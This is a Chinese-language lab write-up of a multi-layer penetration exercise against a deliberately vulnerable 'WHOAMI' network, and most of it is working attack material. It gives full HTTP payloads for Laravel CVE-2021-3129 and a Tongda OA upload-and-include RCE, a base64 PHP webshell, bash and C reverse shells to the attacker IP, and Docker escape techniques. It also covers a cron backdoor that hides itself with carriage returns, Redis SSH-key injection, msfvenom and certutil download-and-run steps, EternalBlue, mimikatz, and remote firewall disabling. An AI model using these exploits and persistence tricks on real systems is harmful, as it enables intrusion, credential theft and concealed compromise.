WHOAMI Penetration
参考
安装
添加VMnet14、VMnet8,如图
各个虚拟机网络适配器一般在添加时已经成功配置好:
Ubuntu(web1):桥接(VMnet0)、VMnet8
Ubuntu(web2)、win7(PC 1):VMnet14、VMnet8
win-serv、win7(PC 2):VMnet14(断网)
由于要模拟内外网环境:
第一层:外网,攻击机与 Ubuntu(web1) 共用VMnet0
攻击机 ==> Ubuntu(web1)
第二层:第一层内网,Ubuntu(web1)、Ubuntu(web2)、win7(PC1) 共用VMnet8
Ubuntu(web1) ==> Ubuntu(web2)、win7(PC1)
第三层:第二层内网,Ubuntu(web2)、win7(PC1)、win-serv、win7(PC2) 共用VMnet14
Ubuntu(web2)、win7(PC1) ==> win-serv、win7(PC2)
故攻击机kali选择桥接模式
服务配置
Ubuntu(web 1)启动Nginx服务
sudo redis-server /etc/redis.conf
/usr/sbin/nginx -c /etc/nginx/nginx.conf
iptables -F
Ubuntu(web 2)启动docker
sudo service docker start
sudo docker start 8e172820ac78
win7 PC 1启动通达OA,并关闭防火墙,这是同一局域网ping通最快的方式
C:\MYOA\bin\AutoConfig.exe
#登录的账户为Administrator
用户信息
域用户
Administrator:Whoami2021
whoami:Whoami2021
bunny:Bunny2021
moretz:Moretz2021
Ubuntu 1:
web:web2021
Ubuntu 2:
ubuntu:ubuntu
通达OA:
admin:admin657260
外网渗透
信息收集
主机发现
nmap -T4 -sV 192.168.1.0/24
再次对此IP进行扫描
nmap -T4 -sV -sC 192.168.1.59
发现开了redis服务,且发现站点81端口服务标题为Laravel
访问此站点获取详细信息
通过搜索可以得知存在CVE-2021-3129
当Laravel开启了Debug模式时,由于Laravel自带的Ignition 组件对file_get_contents()和file_put_contents()函数的不安全使用,攻击者可以通过发起恶意请求,构造恶意Log文件等方式触发Phar反序列化,最终造成远程代码执行。
漏洞利用
CVE-2021-3129
下载exp
git clone https://github.com/ajisai-babu/CVE-2021-3129-exp.git
执行
cd CVE-2021-3129-exp
chmod +x *.py
python CVE-2021-3129.py -u http://192.168.1.59:81/ --exp
成功连接
完整利用过程
- 生成poc
安装phpggc
git clone https://github.com/ambionics/phpggc.git
生成POC
cd phpggc
php -d "phar.readonly=0" ./phpggc Laravel/RCE5 "phpinfo();" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"
"phpinfo();"就是要执行的php代码
- 通过不合理的base64解码清空文件
POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.1.59:81
Content-Type: application/json
Content-Length: 328
{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
}
}
- 写入AA用于对齐
POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.1.59:81
Content-Type: application/json
Content-Length: 163
{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "AA"
}
}
- 发送POC,生成的POC作为viewFile的值,此POC需要在后面加上a,防止日志生成两个POC,导致利用失败
POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.1.59:81
Content-Type: application/json
Content-Length: 5058
{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=......2B=00=57=00=61=00=63=00=4E=00=67=00=49=00=41=00=41=00=41=00=42=00=48=00=51=00=6B=00=31=00=43=00a"
}
}
- 清空log文件的干扰字符,仅留下POC
POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.1.59:81
Content-Type: application/json
Content-Length: 299
{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
}
}
- 使用phar://进行反序列化,这里要使用绝对路径
POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.1.59:81
Content-Type: application/json
Content-Length: 210
{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "phar:///var/www/storage/logs/laravel.log/test.txt"
}
}
触发成功
- 写入webshell,重复以上步骤,将执行的代码修改为system('echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4=|base64 -d > /var/www/html/shell1.php');
- 生成POC
php -d "phar.readonly=0" ./phpggc Laravel/RCE5 "system('echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4=|base64 -d > /var/www/html/shell1.php');" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"
提权
发现进入到docker
cat /proc/self/cgroup
ls -la /.dockerenv
寻找suid文件
find / -type f -user root -perm -4000 -exec ls -la {} \; 2>/dev/null
发现可用提权文件
- 环境变量劫持提权
运行一下/home/jobs/shell
/home/jobs/shell
shell运行了ps,并且没有使用绝对路径
由于需要稳定的环境变量,需要反弹shell
bash -c 'bash -i >& /dev/tcp/192.168.1.119/778 0>&1'
cd /tmp
echo "/bin/bash" > ps
chmod 777 ps
export PATH=/tmp:$PATH
/home/jobs/shell
docker逃逸
privileged特权模式
当使用--privileged标志运行容器时,Docker将允许容器访问宿主机上的所有设备,并赋予容器几乎所有的内核能力(Capabilities)。
cat /proc/self/status | grep -i cap
#特权容器返回类似:
#CapInh: 0000003fffffffff
#CapPrm: 0000003fffffffff
#CapEff: 0000003fffffffff
#CapBnd: 0000003fffffffff
#CapAmb: 0000003fffffffff
ls -la /dev/ #特权容器会看到很多宿主机设备:sda, tty, loop等
已经确定有特权,实施逃逸
#创建host目录在 /tmp 下
mkdir /tmp/host
#查看磁盘分区
fdisk -l
#将硬盘的第一个分区(包含根文件系统)挂载到刚创建的目录
mount /dev/sda1 /tmp/host
#改变根目录为 /tmp/host,/tmp/host => /
chroot /tmp/host
msfconsole -qx "use exploit/multi/script/web_delivery;set target 7;set payload linux/x64/meterpreter/reverse_tcp;set lhost 192.168.1.119;set lport 4159;run"
#此模块会开启一个web服务,当对方执行生成的命令后会下载payload并执行
#将生成的命令放入定时任务,先生成一个可执行脚本
echo "wget -qO vl6jB0U0 --no-check-certificate http://192.168.1.119:8085/xedJaOutO8r2eVz; chmod +x vl6jB0U0; ./vl6jB0U0& disown" > /root/.bashrc_old;chmod +x /root/.bashrc_old
#在文件中使用回车符覆盖
echo "* * * * * /root/.bashrc_old;$(printf '\r')no crontab for $(whoami)$(printf '%100s')" >> /var/spool/cron/crontabs/root
(printf "* * * * * /root/.bashrc_old;\rno crontab for `whoami`%100c\n")|crontab -
#会话产生太多可以调节时间或者删除定时任务
sed -i '4d' /var/spool/cron/crontabs/root
sed -i '4s/^\*/&\/20/' /var/spool/cron/crontabs/root
ip a | grep 192
socket 挂载
docker守护进程负责管理所有docker对象,控制其进程,等于控制宿主机;
docker套接字,即docker.sock,docker里存在这个文件,表明这个docker可以与docker守护进程通信,那么就可以在docker里执行开一个docker的命令,这个命令是跟宿主机docker守护进程交互的,导致这个新开的docker实际是宿主机另开的一个docker,这时在新开的docker就可以通过编辑宿主机文件启动定时任务、ssh后门等方式登录宿主机
基本流程
find / -name docker.sock #如果没有,就不用试了
docker run -it --rm --privileged -v /:/mnt/host ubuntu /bin/sh
chroot /mnt/host
......
procfs 挂载
确认是否挂载procfs
find / -name core_pattern
容器在宿主机下的绝对路径 ,内核触发core dumped时会从宿主机寻找脚本并执行
cat /proc/mounts | xargs -d ',' -n 1 | grep workdir
# workdir=/var/lib/docker/overlay2/756a24cf9efeb3cbdf4f9f14fe61b0da4dd26a5f3b2bd641a9a301fb6b0c3be6/work
kali监听
nc -lvp 4149
cat > /tmp/exploit.c << 'EOF'
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>
int main() {
int sock = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in addr = {0};
addr.sin_family = AF_INET;
addr.sin_port = htons(4149);
addr.sin_addr.s_addr = inet_addr("192.168.1.119");
connect(sock, (struct sockaddr*)&addr, sizeof(addr));
dup2(sock, 0); dup2(sock, 1); dup2(sock, 2);
execl("/bin/bash", "bash", NULL);
}
EOF
#崩溃程序
cat > /tmp/.empty.c << 'EOF'
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <signal.h>
int main() {
int *p = NULL;
*p = 1;
}
EOF
#编译
gcc -o /tmp/exploit /tmp/exploit.c
gcc -o /tmp/.empty /tmp/.empty.c
#将workdir的路径的work替换成merged+监听脚本路径,因为内核看到的是merged目录下的内容
echo -e "| /var/lib/docker/overlay2/756a24cf9efeb3cbdf4f9f14fe61b0da4dd26a5f3b2bd641a9a301fb6b0c3be6/merged/tmp/exploit \rcore" > /proc/sys/kernel/core_pattern
#运行崩溃程序触发core dumped
./empty
可以发现拿下的主机IP为192.168.52.20,同时也是192.168.93.10,而访问的web服务是192.168.1.59开启的,那么192.168.52.20可能是作为代理web服务的,查看nginx配置文件
ls -la /etc/nginx
cd /etc/nginx/conf.d
可以看到web1的81端口的请求转发至web2,所以之前第一次getshell的主机是web2
redis未授权
无密码访问
redis-cli -h 192.168.1.59
攻击机生成公私密钥
ssh-keygen -t rsa
(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt
cat key.txt | redis-cli -h 192.168.1.59 -x set xxx
设置redis持久路径为 /root/.ssh
config set dir /root/.ssh/
设置持久化文件名为authorized_keys,并保存数据到文件
config set dbfilename "authorized_keys"
save
登录
ssh -o "UserKnownHostsFile=/dev/null" -o "StrictHostKeyChecking=no" -o "GlobalKnownHostsFile=/dev/null" -T root@192.168.1.59 bash -i
ip a | grep 192
到目前为止,已经拿下两台ubuntu主机了,可以发现这两台机器都有两个网卡
msf路由转发进入内网
route add 192.168.52.0 255.255.255.0 1
route add 192.168.93.0 255.255.255.0 4
此时msf已经穿透两层内网了,msf通过会话1机器进入内网,后续msf所有访问52网段流量都通过会话1机器转发,92网段流量同理,但也仅限msf,别的工具不能
内网渗透
代理转发,上传ew到目标
#kali
./ew_linux64 -s rcsocks -l 1080 -e 5959 #工作模式为反向socks,本地的1080启动一个监听端口,加密端口5959
#Ubuntu 18
./ew_linux64 -s rssocks -d 192.168.1.119 -e 5959 #连接192.168.52.128的5959端口
修改proxychains4配置
grep -nv "^#" /etc/proxychains4.conf
sed -i "161c/socks5 127.0.0.1 1080" /etc/proxychains4.conf
use auxiliary/scanner/discovery/udp_probe
set rhosts 192.168.52.2-255
set threads 5
run
也可以在连接的ubuntu 14上运行
echo 'for i in {1..254}; do ping -c1 -W1 192.168.52.$i 2>/dev/null | grep "bytes from" & done; wait; echo "完成"' > /tmp/scan.sh && chmod +x /tmp/scan.sh && /tmp/scan.sh && rm /tmp/scan.sh
可以得知192.168.52.30最有可能是要横向移动的机器
Nmap扫描
#禁ping且tcp快速扫描100个常规端口,探测版本
proxychains4 nmap -Pn -sT -sV -F -O 192.168.52.30
发现8080端口服务,kali的火狐被我换成了chrome,使用插件配置代理,访问看看
是一个OA系统,点击扫码登录时,发现这是通达OA 2020
通达OA漏洞
通过搜索发现存在文件上传和文件包含等漏洞,先文件上传
POC
POST /ispirit/im/upload.php HTTP/1.1
Host: 192.168.52.30:8080
Content-Length: 660
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGB
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5
Cookie: PHPSESSID=123
Connection: close
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="UPLOAD_MODE"
2
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="P"
123
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="DEST_UID"
1
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
Content-Type: image/jpeg
<?php
$command=$_POST['cmd'];
$wsh = new COM('WScript.shell');
$exec = $wsh->exec("cmd /c ".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
------WebKitFormBoundarypyfBh1YB4pV8McGB--
可得图片路径 2601/716642852.jpg
发送文件包含POC
POST /ispirit/interface/gateway.php HTTP/1.1
Host: 192.168.52.30:8080
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.21.0
Content-Length: 73
Content-Type: application/x-www-form-urlencoded
json={"url":"/general/../../attach/im/2601/716642852.jpg"}&cmd=whoami
接着就是MSF启动监听
msfconsole -qx "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set LHOST 192.168.1.119; set LPORT 4331; run"
msfvenom生成马
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.119 LPORT=4331 -b '\x00' -f exe -o Desktop/m1.exe
通过burp执行命令下载后执行
certutil -urlcache -split -f http://192.168.1.119/m1.exe m1.exe
成功上线
执行另一个模块生成的命令
powershell_execute "powershell.exe -nop -w hidden -e WwBOAGUAdAA...OwA="
信息收集
查看IP
ipconfig /all | findstr 192
获取域用户名和域名
net user /domain
失败了,应该是没有域用户token
迁移进程获取域用户身份
ps
migrate 4904
重新获取域用户名和域名
net user /domain
域控制器数量
net group "domain controllers" /domain
定位域控制器
ping DC.whoamianony.org -4
域管理员
net group "Domain Admins" /domain
使用mimikatz
migrate 3776 #迁移到system进程
load kiwi
kiwi_cmd sekurlsa::logonPasswords
第二层内网渗透
ew代理转发
#kali开启监听模式,监听1090端口,等待连接1235
./ew_linux64 -s lcx_listen -l 1090 -e 1235
#Ubuntu18建立隧道
./ew_linux64 -s lcx_slave -d 192.168.1.119 -e 1235 -f 192.168.52.30 -g 999
#win7(PC1)开启正向代理
ew_for_Win.exe -s ssocksd -l 999
或者
#kali
./ew_linux64 -s rcsocks -l 1082 -e 1112
#Ubuntu 14
./ew_linux64 -s rssocks -d 192.168.1.119 -e 1112 #连接192.168.1.119的1112端口
./ew_linux64 -s rssocks -d 192.168.92.119 -e 1112
配置proxychain4
sed -i '161a\socks5 127.0.0.1 1090' /etc/proxychains4.conf
sed -i '161 s/^/# /' /etc/proxychains4.conf
#或者
sed -i '161a\socks5 127.0.0.1 1082' /etc/proxychains4.conf
use auxiliary/scanner/discovery/udp_sweep
set RHOSTS 192.168.93.0/24
set SESSION 15
run
或者
for /l %i in (1,1,254) do @ping -n 1 -w 100 192.168.93.%i | findstr "TTL"
扫描192.168.92.40
proxychains4 nmap -Pn -sT -sV -F 192.168.93.40
漏洞执行
发现开启了445,试试永恒之蓝
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.93.40
set payload windows/x64/meterpreter/bind_tcp
set RHOST 192.168.93.40
set lport 4444
现在只剩下192.168.93.30了
横向移动
既然知道域控账号密码,尝试连接
use exploit/windows/smb/psexec
set rhosts 192.168.93.30
set SMBUser Administrator
set SMBPass Whoami2021
set payload windows/meterpreter/bind_tcp
set rhost 192.168.93.30
run
没成功,关闭防火墙
#建立ipc连接
net use \\192.168.93.30\ipc$ "Whoami2021" /user:"Administrator"
#远程创建一个名为unablefirewall的服务
sc \\192.168.93.30 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
#启动创建的服务
sc \\192.168.93.30 start unablefirewall
域渗透到这里就是尽头了
权限维持
这个就算了。。。前面的ssh后门和定时任务,影子用户、隐藏文件、启动目录等